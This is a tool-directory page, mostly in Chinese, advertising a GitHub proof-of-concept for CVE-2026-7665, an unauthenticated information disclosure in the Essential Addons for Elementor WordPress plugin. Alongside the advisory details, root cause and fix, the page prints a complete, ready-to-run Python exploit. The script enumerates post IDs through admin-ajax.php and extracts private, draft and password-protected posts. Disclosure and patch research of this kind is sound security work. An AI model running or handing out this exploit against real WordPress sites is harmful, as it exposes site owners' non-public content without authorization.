Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-7665 — CVE-2026-7665 的概念验证漏洞利用程序,针对 Essential Addons for Elementor 中未经身份验证的信息泄露漏洞,允许提取 WordPress 的私有、草稿及受密码保护的文章。 | Kitploit
工具/GitHubGitHub/anirudhmakkar/cve-2026-7665
漏洞分析漏洞利用信息收集Web安全渗透测试学习与教育
GitHubanirudhmakkar/cve-2026-7665

cve-2026-7665

CVE-2026-7665 的概念验证漏洞利用程序,针对 Essential Addons for Elementor 中未经身份验证的信息泄露漏洞,允许提取 WordPress 的私有、草稿及受密码保护的文章。

查看仓库
163个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-7665 —— Essential Addons for Elementor 中未经身份验证的信息泄露

字段详情
CVE 编号CVE-2026-7665
严重性中危
CVSS 评分5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
受影响插件Essential Addons for Elementor
受影响版本≤ 6.6.4
活跃安装量1,000,000+
CVE 分配方Wordfence (CNA)
披露日期2026年6月
研究人员Anirudh Makkar

摘要

Essential Addons for Elementor 中的 ajax_load_more AJAX 处理器在返回文章内容之前未强制执行文章可见性检查。这使未经身份验证的攻击者可以通过发送特制的 wp-admin/admin-ajax.php 请求来读取私密、密码保护和草稿状态的 WordPress 文章 —— 无需身份验证或 nonce。


漏洞详情

根本原因

该插件在 wp_ajax_nopriv_eael_post_grid_load_more 动作钩子上注册了一个处理器,使未经身份验证的访客可以访问该处理器。当该处理器执行 WP_Query 为"加载更多"分页功能获取文章时,它不会调用 current_user_can('read_post', $post_id),也不会根据请求用户的权限检查 get_post_status()。

WordPress 核心依赖插件在 AJAX 处理器中强制执行文章级授权 —— 它不会自动执行此操作。由于缺少此检查,无论文章的可见性设置如何,处理器都会返回完整的文章内容。

受影响的代码路径

wp-admin/admin-ajax.php
  → do_action('wp_ajax_nopriv_eael_post_grid_load_more')
    → Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
      → WP_Query([
            'post_status' => ['publish', 'private', 'draft'],  // all statuses returned
            ...
        ])
      → [returns full post content without authorization check]

影响

未经身份验证的攻击者可以枚举并读取:

  • 私密文章(仅面向登录用户)
  • 密码保护的文章(无需知道密码)
  • 草稿文章(未发布的内容)

这可能会泄露敏感的业务内容、未发布的公告、作为 WordPress 文章发布的内部文档,或通过 WordPress 编辑器管理的任何其他非公开内容。


概念验证

#!/usr/bin/env python3
"""
CVE-2026-7665 — Unauthenticated Information Disclosure
Essential Addons for Elementor <= 6.6.4

Usage: python3 poc.py https://target.example.com [post_id]

Iterates post IDs to extract private/draft/password-protected content.
For educational and authorized testing purposes only.
"""

import requests
import sys
import json

def check_target(base_url):
    """Verify the plugin is present."""
    resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
    return resp.status_code != 404

def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
    url = f"{base_url}/wp-admin/admin-ajax.php"
    data = {
        "action":    "eael_post_grid_load_more",
        "widget_id": widget_id,
        "page_id":   page_id,
        "post_id":   str(post_id),
        "page":      "2",
    }
    try:
        resp = requests.post(url, data=data, timeout=10)
        if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
            return resp.text
    except requests.RequestException:
        pass
    return None

def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url> [start_id] [end_id]")
        sys.exit(1)

    target   = sys.argv[1].rstrip("/")
    start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    end_id   = int(sys.argv[3]) if len(sys.argv) > 3 else 50

    print(f"[*] Target: {target}")
    print(f"[*] Probing post IDs {start_id}–{end_id}")

    if not check_target(target):
        print("[!] Plugin not detected — target may be patched or not running EAEL")

    found = 0
    for pid in range(start_id, end_id + 1):
        result = fetch_private_post(target, pid)
        if result:
            found += 1
            print(f"\n[+] Post ID {pid} — content exposed ({len(result)} bytes)")
            print(result[:300])
            print("..." if len(result) > 300 else "")

    print(f"\n[*] Done. {found} post(s) with exposed content found.")

if __name__ == "__main__":
    main()

修复建议

将 Essential Addons for Elementor 更新至 6.6.5 或更高版本。

该修复在 load-more 处理器中,于将任何文章纳入查询结果之前,添加了 current_user_can('read_post', $post_id) 检查。


参考资料

  • Wordfence 公告
  • NVD — CVE-2026-7665
  • Essential Addons for Elementor 更新日志

由 Anirudh Makkar 报告 · LinkedIn

下载工具